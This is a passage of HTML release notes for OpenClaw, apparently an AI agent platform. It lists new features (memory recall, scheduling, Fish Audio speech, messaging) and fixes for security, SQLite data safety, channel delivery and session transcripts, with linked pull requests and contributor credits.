class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/cursoragent/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/cursoragent">@cursoragent</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hxy91819/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hxy91819">@hxy91819</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/fuller-stack-dev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/fuller-stack-dev">@fuller-stack-dev</a>.</li>
<li><strong>Memory:</strong> add fast active-memory recall, default cross-conversation recall for personal installs, guided imports from Claude Code/Codex/Hermes, and a dedicated Memory settings page. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4889734313" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/108043" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/108043/hovercard" href="https://github.com/openclaw/openclaw/pull/108043">#108043</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4917681199" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/110597" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/110597/hovercard" href="https://github.com/openclaw/openclaw/pull/110597">#110597</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4901780225" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/108977" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/108977/hovercard" href="https://github.com/openclaw/openclaw/pull/108977">#108977</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4979254607" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/114037" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/114037/hovercard" href="https://github.com/openclaw/openclaw/pull/114037">#114037</a>)</li>
<li><strong>Scheduling:</strong> add per-job dynamic cadence, gated script payloads, durable schedule-source streaming, cron-backed heartbeat monitors, heartbeat-task conversion, current-conversation defaults, and <code>/loop</code>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4920182664" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/110978" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/110978/hovercard" href="https://github.com/openclaw/openclaw/pull/110978">#110978</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4920834867" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/111112" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/111112/hovercard" href="https://github.com/openclaw/openclaw/pull/111112">#111112</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4941953696" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/112387" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/112387/hovercard" href="https://github.com/openclaw/openclaw/pull/112387">#112387</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4946513835" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/112585" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/112585/hovercard" href="https://github.com/openclaw/openclaw/pull/112585">#112585</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4963424343" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/113165" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/113165/hovercard" href="https://github.com/openclaw/openclaw/pull/113165">#113165</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4984579186" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/114328" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/114328/hovercard" href="https://github.com/openclaw/openclaw/pull/114328">#114328</a>)</li>
<li><strong>Fish Audio speech:</strong> add hosted S2.1 synthesis with streaming, voice notes, voice discovery, and telephony, plus local Fish S2 Pro reference-voice streaming in native macOS Talk. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="5007325933" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/115790" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/115790/hovercard" href="https://github.com/openclaw/openclaw/pull/115790">#115790</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Rheingold777/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Rheingold777">@Rheingold777</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ImLukeF/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ImLukeF">@ImLukeF</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Conan-Scott/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Conan-Scott">@Conan-Scott</a>.</li>
<li><strong>Control UI setup:</strong> continue verified model setup into Custodian, explain that the web app is ready without a channel, and offer an optional dismissible path to Channels. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="5013446836" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/116078" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/116078/hovercard" href="https://github.com/openclaw/openclaw/pull/116078">#116078</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="5013446867" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/116079" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/116079/hovercard" href="https://github.com/openclaw/openclaw/pull/116079">#116079</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li><strong>Buzz messaging:</strong> preserve Markdown and structured room content, then add room- and thread-scoped typing indicators with reconnect-safe lifecycle handling. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="5013956514" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/116096" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/116096/hovercard" href="https://github.com/openclaw/openclaw/pull/116096">#116096</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="5015616330" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/116194" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/116194/hovercard" href="https://github.com/openclaw/openclaw/pull/116194">#116194</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shakkernerd/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shakkernerd">@shakkernerd</a>.</li>
<li><strong>Automations naming:</strong> rename the scheduler-facing <code>cron</code> agent tool and visible CLI/UI surfaces to Automations while retaining the compatible CLI alias. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4993820836" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/114841" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/114841/hovercard" href="https://github.com/openclaw/openclaw/pull/114841">#114841</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4994085624" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/114854" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/114854/hovercard" href="https://github.com/openclaw/openclaw/pull/114854">#114854</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4994077753" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/114853" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/114853/hovercard" href="https://github.com/openclaw/openclaw/pull/114853">#114853</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/omarshahine/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/omarshahine">@omarshahine</a>.</li>
<li><strong>DuckDuckGo search:</strong> move DuckDuckGo search into the plugin boundary so provider ownership, installation, and runtime behavior stay outside core. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="5028300071" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/116740" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/116740/hovercard" href="https://github.com/openclaw/openclaw/pull/116740">#116740</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
</ul>
<h3>Fixes</h3>
<ul>
<li><strong>Security and authorization:</strong> prevent channel allowlists from granting owner access, keep session exports inside the workspace, close a forged-marker/web-search boundary bypass, prevent non-owner ACP session exposure, reject unsafe explicit approval IDs, harden secret redaction and exec/OAuth approvals, validate downloaded install scripts, and prevent insecure secrets-plan writes. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4882431632" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/107403" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/107403/hovercard" href="https://github.com/openclaw/openclaw/pull/107403">#107403</a>; related <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4865474684" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/104984" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/104984/hovercard" href="https://github.com/openclaw/openclaw/issues/104984">#104984</a>; <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4864167353" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/104708" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/104708/hovercard" href="https://github.com/openclaw/openclaw/pull/104708">#104708</a>; related <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4842949536" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/102391" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/102391/hovercard" href="https://github.com/openclaw/openclaw/issues/102391">#102391</a>; <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4916760141" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/110417" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/110417/hovercard" href="https://github.com/openclaw/openclaw/pull/110417">#110417</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4918730118" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/110745" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/110745/hovercard" href="https://github.com/openclaw/openclaw/pull/110745">#110745</a>; related <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4848751013" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/103055" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/103055/hovercard" href="https://github.com/openclaw/openclaw/issues/103055">#103055</a>; <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4920560447" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/111055" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/111055/hovercard" href="https://github.com/openclaw/openclaw/pull/111055">#111055</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4956201887" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/112947" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/112947/hovercard" href="https://github.com/openclaw/openclaw/pull/112947">#112947</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4956230383" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/112952" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/112952/hovercard" href="https://github.com/openclaw/openclaw/pull/112952">#112952</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4956260493" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/112953" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/112953/hovercard" href="https://github.com/openclaw/openclaw/pull/112953">#112953</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4956316660" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/112956" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/112956/hovercard" href="https://github.com/openclaw/openclaw/pull/112956">#112956</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4956190781" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/112946" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/112946/hovercard" href="https://github.com/openclaw/openclaw/pull/112946">#112946</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4956320154" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/112957" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/112957/hovercard" href="https://github.com/openclaw/openclaw/pull/112957">#112957</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4967767482" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/113307" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/113307/hovercard" href="https://github.com/openclaw/openclaw/pull/113307">#113307</a>; related <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4583578238" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/90013" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/90013/hovercard" href="https://github.com/openclaw/openclaw/issues/90013">#90013</a>; <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4976048942" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/113707" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/113707/hovercard" href="https://github.com/openclaw/openclaw/pull/113707">#113707</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/obviyus/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/obviyus">@obviyus</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/yetval/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/yetval">@yetval</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/VACInc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/VACInc">@VACInc</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/pgondhi987/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/pgondhi987">@pgondhi987</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/SebTardif/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/SebTardif">@SebTardif</a>.</li>
<li><strong>SQLite and data safety:</strong> commit session indexes before transcript eviction, preserve state through maintenance races and live-WAL verification, reject invalid backups and schema data loss, make snapshot publication crash-recoverable, retain complete backups after interrupted commits, and evict only the exact corrupted cached database owner so repairs recover without a Gateway restart. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4894307684" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/108378" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/108378/hovercard" href="https://github.com/openclaw/openclaw/pull/108378">#108378</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4965138236" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/113216" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/113216/hovercard" href="https://github.com/openclaw/openclaw/pull/113216">#113216</a>; related <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4964941220" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/113209" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/113209/hovercard" href="https://github.com/openclaw/openclaw/issues/113209">#113209</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4964941397" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/113210" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/113210/hovercard" href="https://github.com/openclaw/openclaw/issues/113210">#113210</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4964941625" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/113211" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/113211/hovercard" href="https://github.com/openclaw/openclaw/issues/113211">#113211</a>; <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4966782299" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/113287" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/113287/hovercard" href="https://github.com/openclaw/openclaw/pull/113287">#113287</a>; related <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4966294500" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/113265" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/113265/hovercard" href="https://github.com/openclaw/openclaw/issues/113265">#113265</a>; <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4970165944" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/113367" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/113367/hovercard" href="https://github.com/openclaw/openclaw/pull/113367">#113367</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4973809093" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/113473" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/113473/hovercard" href="https://github.com/openclaw/openclaw/pull/113473">#113473</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4975353871" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/113607" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/113607/hovercard" href="https://github.com/openclaw/openclaw/pull/113607">#113607</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4979076299" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/114016" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/114016/hovercard" href="https://github.com/openclaw/openclaw/pull/114016">#114016</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4984209059" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/114278" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/114278/hovercard" href="https://github.com/openclaw/openclaw/pull/114278">#114278</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/yetval/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/yetval">@yetval</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/VACInc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/VACInc">@VACInc</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rizquuula/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rizquuula">@rizquuula</a>.</li>
<li><strong>Channel delivery:</strong> stop Telegram durable-ingress loss across restarts and persist offsets only after spool writes, preserve Discord/iMessage/WhatsApp traffic across crashes or restarts, restore assistant context and interrupted turns after restart, suppress outbound echoes, deliver ingress retries whose queued run was dropped, report finalized Telegram previews to plugins, explain invalid native queue arguments instead of false model-failure fallbacks, validate native settings, and preserve Telegram ingress outcomes. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4881188067" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/107288" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/107288/hovercard" href="https://github.com/openclaw/openclaw/pull/107288">#107288</a>; related <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4880774610" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/107246" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/107246/hovercard" href="https://github.com/openclaw/openclaw/issues/107246">#107246</a>; <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4970190142" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/113368" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/113368/hovercard" href="https://github.com/openclaw/openclaw/pull/113368">#113368</a>; related <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4968088407" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/113315" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/113315/hovercard" href="https://github.com/openclaw/openclaw/issues/113315">#113315</a>; <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4915840254" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/110274" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/110274/hovercard" href="https://github.com/openclaw/openclaw/pull/110274">#110274</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4916709201" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/110409" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/110409/hovercard" href="https://github.com/openclaw/openclaw/pull/110409">#110409</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4916764289" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/110418" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/110418/hovercard" href="https://github.com/openclaw/openclaw/pull/110418">#110418</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4946157584" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/112548" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/112548/hovercard" href="https://github.com/openclaw/openclaw/pull/112548">#112548</a>; related <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4945617210" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/112520" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/112520/hovercard" href="https://github.com/openclaw/openclaw/issues/112520">#112520</a>; <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4946259268" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/112562" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/112562/hovercard" href="https://github.com/openclaw/openclaw/pull/112562">#112562</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4979441234" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/114058" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/114058/hovercard" href="https://github.com/openclaw/openclaw/pull/114058">#114058</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4987213784" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/114531" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/114531/hovercard" href="https://github.com/openclaw/openclaw/pull/114531">#114531</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4922114295" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/111341" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/111341/hovercard" href="https://github.com/openclaw/openclaw/pull/111341">#111341</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="5009431129" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/115891" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/115891/hovercard" href="https://github.com/openclaw/openclaw/pull/115891">#115891</a>; related <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="5009370223" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/115888" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/115888/hovercard" href="https://github.com/openclaw/openclaw/issues/115888">#115888</a>; <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="5015916165" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/116214" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/116214/hovercard" href="https://github.com/openclaw/openclaw/pull/116214">#116214</a>; related <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="5015259905" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/116171" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/116171/hovercard" href="https://github.com/openclaw/openclaw/issues/116171">#116171</a>; <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="5027951668" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/116726" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/116726/hovercard" href="https://github.com/openclaw/openclaw/pull/116726">#116726</a>; related <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="5026895065" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/116688" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/116688/hovercard" href="https://github.com/openclaw/openclaw/issues/116688">#116688</a>; <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="5028766271" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/116773" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/116773/hovercard" href="https://github.com/openclaw/openclaw/pull/116773">#116773</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/obviyus/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/obviyus">@obviyus</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/carlosjarenom/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/carlosjarenom">@carlosjarenom</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JesusSerrano-Seimako/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JesusSerrano-Seimako">@JesusSerrano-Seimako</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/edenfunf/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/edenfunf">@edenfunf</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/joshavant/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/joshavant">@joshavant</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hannesrudolph/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hannesrudolph">@hannesrudolph</a>.</li>
<li><strong>Sessions and transcripts:</strong> preserve final replies, active turns, Codex-bound history, and transcript cursors; prevent repeated tool-call IDs from poisoning sessions; close lifecycle races and cross-agent deadlocks; keep migrated transcripts usable after restart; keep restart prompts on the active transcript tail; and preserve TUI session state across switches and reconnects. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4887379482" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/107799" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/107799/hovercard" href="https://github.com/openclaw/openclaw/pull/107799">#107799</a>; related <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4875768265" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/106594" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/106594/hovercard" href="https://github.com/openclaw/openclaw/issues/106594">#106594</a>; <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4916570109" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/110389" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/110389/hovercard" href="https://github.com/openclaw/openclaw/pull/110389">#110389</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4917250669" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/110518" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/110518/hovercard" href="https://github.com/openclaw/openclaw/pull/110518">#110518</a>; related <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4906935650" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/109443" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/109443/hovercard" href="https://github.com/openclaw/openclaw/issues/109443">#109443</a>; <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4934818775" data-permission-text="Title is private" 